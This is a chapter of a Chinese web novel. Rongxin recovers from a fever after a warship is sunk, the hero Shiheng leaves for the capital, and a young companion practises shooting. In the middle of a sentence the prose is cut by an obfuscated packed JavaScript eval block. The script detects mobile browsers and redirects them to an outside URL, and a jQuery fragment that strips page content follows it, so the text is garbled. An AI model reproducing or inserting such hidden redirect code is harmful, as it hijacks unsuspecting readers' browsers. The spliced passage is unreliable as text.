47. 难两全

作品:《归明堂

    自古忠孝两难全,轼衡第一次有了切身的感受。


    一边是疼爱自己的祖母,一边是心爱的姑娘。


    他没想到的是,以后他会无数次体验这种拉扯。


    轼衡艰难地做出决断,“青棠、宝忠、秦大人,你们三人留下,照顾戎昕,也照看这边的情况。官衙的问题,秦大人,你说了算。我带长顺回京。”


    秦先生拱手领命,“老臣领命!你们几个,也听公子的。”


    青棠见状,想着秦大人上了年纪,自己又是体弱女子,都不善快马赶路,也只得留在澜园,但是……“公子啊,长顺那点三脚猫功夫,没办法保护您,宝忠一定要跟着!”


    “呵,宝忠留下来保护戎昕,我才能放心。”


    “公子……”青棠还想劝,却被轼衡摆手制止了。


    长顺弯着腰,小心问道,“公子,信上怎么说?太后娘娘要紧吗?”


    “不好说。”轼衡重重地叹了口气,“长顺宝忠去备马,青棠准备行装,我给戎昕留封信,写完立刻出发!”


    **


    戎昕醒来时,轼衡早已经出发了。


    大病初愈,她就像从一场冗长疲惫的梦中醒来,阳光即刺眼又陌生。


    浑身酸疼,口内干哑,说不出话来。


    迎海抹着眼泪,“吓死我了!!你烧了二天二夜,又昏睡了三天,终于醒了,终于醒了!”


    “姑娘快喝口温水。我去端燕窝粥,马上就回来。”青棠也是笑中带泪,赶紧递了一杯水,笑着抹泪,转身出去报喜,“姑娘醒了,姑娘醒了!”


    戎昕就着迎海的手,喝了一口水,才有力气说话,只是那嗓音沙哑得很,“池大人呢,翎霁呢,大家都好吗?”


    “都好都好,他们怕家人担心,急着赶回江沽了。”迎海把戎昕扶起来,坐在她身后,让她靠在自己身上。


    戎昕点点头,又看看窗子,才发现自己已经回到澜园。


    迎海絮絮道,“只有翎霁还在澜园,他说不放心你,要守着你。还有……还有……”


    “怎么了?!”戎昕见迎海为难的样子,吓了一跳,挣扎着坐直,“有伤亡?!!”


    “没有没有!”迎海赶紧摆摆手,“是衡公子,他回京了。”


    “……”戎昕愣了一下,眼神黯淡下去。


    “你别难过,他把青棠、秦先生、宝忠都留下照顾你。说是祖母病了,才急着回去。”迎海帮戎昕理着头发,“你再躺会儿吧,待会儿起来喝粥。”


    “……”戎昕点点头,又倒回枕头上,眼泪就止不住流了下来。


    有没见到轼衡的委屈,更有华兴号沉没的悲痛。


    华兴号,作为大昭朝自主建造的首艘蒸汽动力军舰,承载着民族的复兴希冀。


    第一次出海就遭到欧军袭击,毫无还手之力,带着未竟的使命长眠深海。


    正如积弱的王朝,在屈辱中跪伏数年,刚刚可以抬起一条腿,挣扎着起身,准备直起脊梁,就被强权的闷棍打在背上,再一次跪了下去……


    膝盖重重磕到地上,太痛太痛了……


    沉没的不仅是舰体,更是整个民族的尊严,那锥心之痛,痛彻骨髓。


    在欧军的甲板上,风吹雨淋中,戎昕想了很多很多,想着再见到轼衡,如何与他细细部署:重整军备、革新海军、铸造坚船利炮。


    定要让沉睡的东方巨龙重新昂首,让黎民百姓重拾民族尊严。


    她在疲惫的梦中挣扎求生,终于醒来,他却离开了……


    这个时候再想起轼衡的欺骗隐瞒,戎昕真的很难相信他的借口。


    迎海见戎昕不停流泪,才想起来,“衡公子留了信。你看看吧,不要哭了,他说过几日就回来。”


    虽失望委屈,戎昕还是打开了信封,轼衡的字体苍劲有力,这次却多了几分柔和——


    枕前发尽千般愿,要休且待青山烂。


    水面上秤锤浮,直待黄河彻底枯。


    白日参辰现,北斗回南面。


    休即未能休,且待三更见日头。


    “他写了什么?”迎海伸长脖子,偷瞄了一眼。


    “……”戎昕吸了吸鼻子,突然想起了什么,脸色更加难看了。


    “怎么了?他写了……不好的话?”迎海弱弱地问。


    “你怎么还不认字?”戎昕尖锐地看向迎海。


    “啊……”迎海张张嘴,努力地在想理由。


    “我见过楠晞和望朔了,他们两个一看眼神,就知道在刻苦念书。你呢?你给我念一下这封信!”戎昕擦干眼泪,把信纸直接递到迎海脸上。


    “不,不好吧!他写给你的。”迎海心虚地把信推了回去。


    “我无所谓。”


    “我不会念!”


    “……”


    “哎呀,你抓着我念书干嘛,我管好孩子还不行嘛!”迎海知道说不出理,干脆耍起无赖。


    戎昕原本苍白的脸色,此刻多了一份阴云。


    还好宝忠端了燕窝粥,走进来,“姑娘,先喝粥,暖暖身子。青棠在熬药,待会儿送药过来。”


    “……”戎昕坐起来,一小口一小口地喝起燕窝粥。她明白,只有尽快好起来,才有办法应对接下来的困难。


    所以,天大地大,吃饭最大!


    宝忠不停地为轼衡说好话儿,“姑娘别怪公子!这是公子特地买来的血燕。公子是真的没办法。”


    戎昕左耳朵进右耳朵出,待到喝完美味的燕窝粥,又下床活动了一下,终于有了活过来的感觉。


    迎海知道戎昕不好当着宝忠的面责怪自己,故意打着哈哈,“衡公子出了好些银子,才把大家赎了回来。”


    戎昕诚恳地点头,“这次真的要多谢他。只可惜华兴号,就这么沉了。”


    “不帮他赚点钱,我都觉得自己好没良心。”迎海难得的,替轼衡说了一句话,“陈员外许诺,以后的石材生意,慢慢地,全部移交给衡公子。”


    “真的?”戎昕和宝忠异口同声地反问。


    “真的,我亲耳听到的。”


    “其他石材商肯定会找麻烦的。又惹上一件麻烦事。”戎昕耸耸肩,又仔细看了看宝忠。因为她知道,宝忠是个憨厚,藏不住事儿的性子。或许可以从他嘴里知道些轼衡的真实动向。


    宝忠不解其意,摸了摸脸颊,问道,“姑娘有什么事么,还是我的脸上有什么?”


    这时外边突然响起枪声,戎昕一惊,急着推开窗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472781|198410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,只见青棠正端着药碗,从游廊下走过来。


    “谁在开枪?”戎昕趴在窗台上问青棠。


    “翎霁少爷啊!”青棠干脆把药碗递给戎昕,“姑娘快喝吧,趁热,不会那么苦。”


    “他是在练枪?这么刻苦了?”戎昕捏住鼻子,乖乖地吧一碗苦药一饮而尽。


    “嗯,回来后,他好像变了个人。一直说要练好武功,练好枪法,才能不被欧军欺负,能保护姑娘,能保护老百姓,帮助他姐姐,料理擎帮事务。”宝忠一连串说道。


    “哇?!真是遇上事儿,人就会瞬间长大成熟哈?”戎昕听得开心极了,又一位少年觉醒了!


    刚才为华兴号沉没的悲伤,被冲淡了许多。


    她相信,觉醒的同胞会越来越多,这个沉睡的东方古国,一定会从昏聩中醒来,重新走上世界巅峰。


    “咱们出去看看,他练得怎么样了!”戎昕回身,披上外衣。


    几人一起走到后院,看翎霁正认认真真地端着抢杠。


    这一阵子,他也在欧军的甲板上经历了风吹雨打,如今又练枪,之前白嫩的少年,肤色变深,身姿变精干了。


    众人不约而同地静默,一同欣赏着少年的坚毅。


    直到他连续几枪接连命中,戎昕和宝忠忍不住一起鼓起掌来。


    翎霁一回头,见到戎昕,眼睛一亮,兴高采烈地跑了过来,“戎昕,你醒啦!怎么样?还有哪里不舒服,叫大夫来看看。”


    “你赖在这里干嘛,该回去看翎晚姐姐,让她放心。”一起度过了被欧军俘虏的日子之后,戎昕和翎霁倒是亲近了许多。


    “翎晚姐姐早就知道了,她来过宁海卫。那时欧军不肯放人,她便赶回江沽了。集结擎帮勇士,抢也要把船舶司的人抢回去。不谈家国大义,那可都是咱们江沽的街坊邻居!岂能看着他们受苦!”一提起翎晚,翎霁就恢复了少年的稚嫩,骄傲地抬着下巴,说个不停。


    “姐姐还说这几天就要过来看你,接你回江沽呢!”


    “还要回江沽?!”迎海很惊讶。


    “对呀,戎昕已经加入擎帮了,自然要回江沽。”翎霁很是理所当然。


    戎昕用眼神制止他,才拉着迎海的手,满是歉意地说道,“我也想多留几日,只是你也看到了,咱们仅有的一艘军舰,就这么沉了。好在工匠们都平安无事,所以我也急着赶回江沽,再造船啊!不仅是造船,还要造火器!”


    “还想要造船?!还要造火器?!!这多危险!!”迎海和青棠一同尖叫着反问。


    “当然啊,不造船,拿什么打退欧军!”戎昕和翎霁则是异口同声地肯定。


    “你们是什么好战分子啊?!”迎海和青棠面面相觑,“戎昕,你不是说,欧军那位利奥将军说,他不想打仗,只想做买卖的吗?”


    “信他的鬼话!大炮抵在咱们脖子上,谈什么自由贸易?!”没了顾忌,戎昕嚷出了心底话。


    “……?!”青棠瞠目结舌地看向宝忠。


    宝忠只给了她一个笃定的微笑。


    这一瞬间,青棠真希望轼衡留在京城,永远不要再回江沽。


    跟戎昕这种好战份子卷在一起,只会越走越危险,怕是再也没有回头路!